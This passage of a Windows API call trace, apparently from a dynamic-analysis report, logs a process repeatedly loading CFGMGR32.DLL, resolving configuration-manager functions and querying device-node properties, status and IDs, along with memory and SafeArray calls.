dwFlags=0x0) returned 0x7ffb1ced0000 [0197.152] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0197.152] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0197.152] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0197.153] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0197.153] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0197.153] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0197.153] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0197.153] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0197.153] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0197.153] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0197.153] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0197.154] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0197.154] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0197.154] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0197.154] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0197.154] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0197.154] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0197.154] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0197.155] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0197.155] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0197.155] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0197.155] malloc (_Size=0x18) returned 0x20abc281d20 [0197.155] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0197.155] malloc (_Size=0x48) returned 0x20abc27cb20 [0197.155] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x31465a2d, dwHighDateTime=0x1d9eb0c)) [0197.156] SetEvent (hEvent=0x248) returned 1 [0197.160] malloc (_Size=0xd8) returned 0x20abc2867b0 [0197.160] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0197.161] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0197.161] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0197.161] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0197.161] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0197.161] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0197.161] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0197.161] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0197.161] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0197.162] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0197.162] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0197.162] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0197.162] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0197.162] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0197.162] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0197.162] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0197.163] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0197.163] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0197.163] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0197.163] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0197.163] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0197.163] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0197.163] malloc (_Size=0x18) returned 0x20abc281ae0 [0197.164] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0197.167] malloc (_Size=0x48) returned 0x20abc27cb20 [0197.167] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x31492a42, dwHighDateTime=0x1d9eb0c)) [0197.168] SetEvent (hEvent=0x248) returned 1 [0197.309] malloc (_Size=0xd8) returned 0x20abc2867b0 [0197.309] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0197.310] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0197.310] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0197.310] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0197.310] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0197.310] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0197.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0197.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0197.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0197.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0197.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0197.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0197.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0197.311] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0197.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0197.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0197.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0197.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0197.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0197.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0197.312] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0197.313] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0197.313] malloc (_Size=0x18) returned 0x20abc281fe0 [0197.313] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x19, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0197.313] malloc (_Size=0x48) returned 0x20abc27cb20 [0197.313] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x316093b8, dwHighDateTime=0x1d9eb0c)) [0197.314] SetEvent (hEvent=0x248) returned 1 [0197.318] malloc (_Size=0xd8) returned 0x20abc2867b0 [0197.318] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0197.318] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0197.318] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0197.319] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0197.319] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0197.319] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0197.319] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0197.319] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0197.319] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0197.319] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0197.319] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0197.320] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0197.320] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0197.320] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0197.320] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0197.320] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0197.320] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0197.320] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0197.321] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0197.321] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0197.321] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0197.321] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0197.321] malloc (_Size=0x18) returned 0x20abc281cc0 [0197.321] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x19, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0197.322] malloc (_Size=0x48) returned 0x20abc27cb20 [0197.322] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x316093b8, dwHighDateTime=0x1d9eb0c)) [0197.322] SetEvent (hEvent=0x248) returned 1 [0197.326] malloc (_Size=0xd8) returned 0x20abc2867b0 [0197.326] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0197.326] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0197.326] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0197.326] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0197.326] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0197.326] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0197.327] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0197.327] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0197.327] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0197.327] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0197.327] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0197.327] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0197.327] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0197.328] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0197.328] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0197.328] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0197.328] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0197.328] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0197.328] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0197.328] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0197.328] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0197.329] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0197.329] malloc (_Size=0x18) returned 0x20abc281c00 [0197.329] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0197.330] malloc (_Size=0x48) returned 0x20abc27cb20 [0197.330] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3162f8ba, dwHighDateTime=0x1d9eb0c)) [0197.330] SetEvent (hEvent=0x248) returned 1 [0197.334] malloc (_Size=0xd8) returned 0x20abc2867b0 [0197.334] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0197.335] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0197.335] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0197.335] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0197.335] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0197.335] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0197.335] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0197.335] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0197.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0197.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0197.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0197.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0197.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0197.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0197.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0197.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0197.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0197.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0197.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0197.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0197.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0197.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0197.338] malloc (_Size=0x18) returned 0x20abc281d60 [0197.338] CM_Get_Device_IDA (in: dnDevInst=0x1a, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\COMPOSITEBUS\\0000") returned 0x0 [0197.338] malloc (_Size=0x48) returned 0x20abc27cb20 [0197.338] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x3162f8ba, dwHighDateTime=0x1d9eb0c)) [0197.338] SetEvent (hEvent=0x248) returned 1 [0197.341] malloc (_Size=0xd8) returned 0x20abc2867b0 [0197.341] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0197.342] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0197.342] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0197.342] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0197.342] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0197.342] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0197.342] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0197.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0197.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0197.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0197.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0197.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0197.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0197.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0197.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0197.344] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0197.344] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0197.344] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0197.344] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0197.344] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0197.361] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0197.361] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0197.362] malloc (_Size=0x18) returned 0x20abc281dc0 [0197.362] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0197.363] malloc (_Size=0x26) returned 0x20abc2a9e50 [0197.363] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9e50, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9e50, pulLength=0x2dc22fd3f8) returned 0x0 [0197.364] free (_Block=0x20abc2a9e50) [0197.364] malloc (_Size=0x48) returned 0x20abc27cb20 [0197.365] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3167bd54, dwHighDateTime=0x1d9eb0c)) [0197.365] SetEvent (hEvent=0x248) returned 1 [0197.368] malloc (_Size=0x18) returned 0x20abc281f20 [0197.368] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0197.368] free (_Block=0x20abc281f20) [0197.368] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d2f0 [0197.368] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0197.368] SafeArrayGetLBound (in: psa=0x20abba7fe10, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0197.368] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0197.368] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0197.369] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0197.369] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0197.369] SafeArrayGetElemsize (psa=0x20abba7fe10) returned 0x8 [0197.369] SafeArrayGetElement (in: psa=0x20abba7fe10, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0197.369] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc402070, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0197.370] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0197.370] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d2f0) returned 1 [0197.371] malloc (_Size=0xd8) returned 0x20abc2867b0 [0197.371] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0197.371] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0197.372] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0197.372] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0197.372] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0197.372] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0197.372] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0197.372] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0197.373] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0197.373] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0197.373] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0197.373] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0197.373] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0197.373] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0197.374] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0197.374] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0197.374] GetProcAddress (hModule=0x7ffb1ced0000, 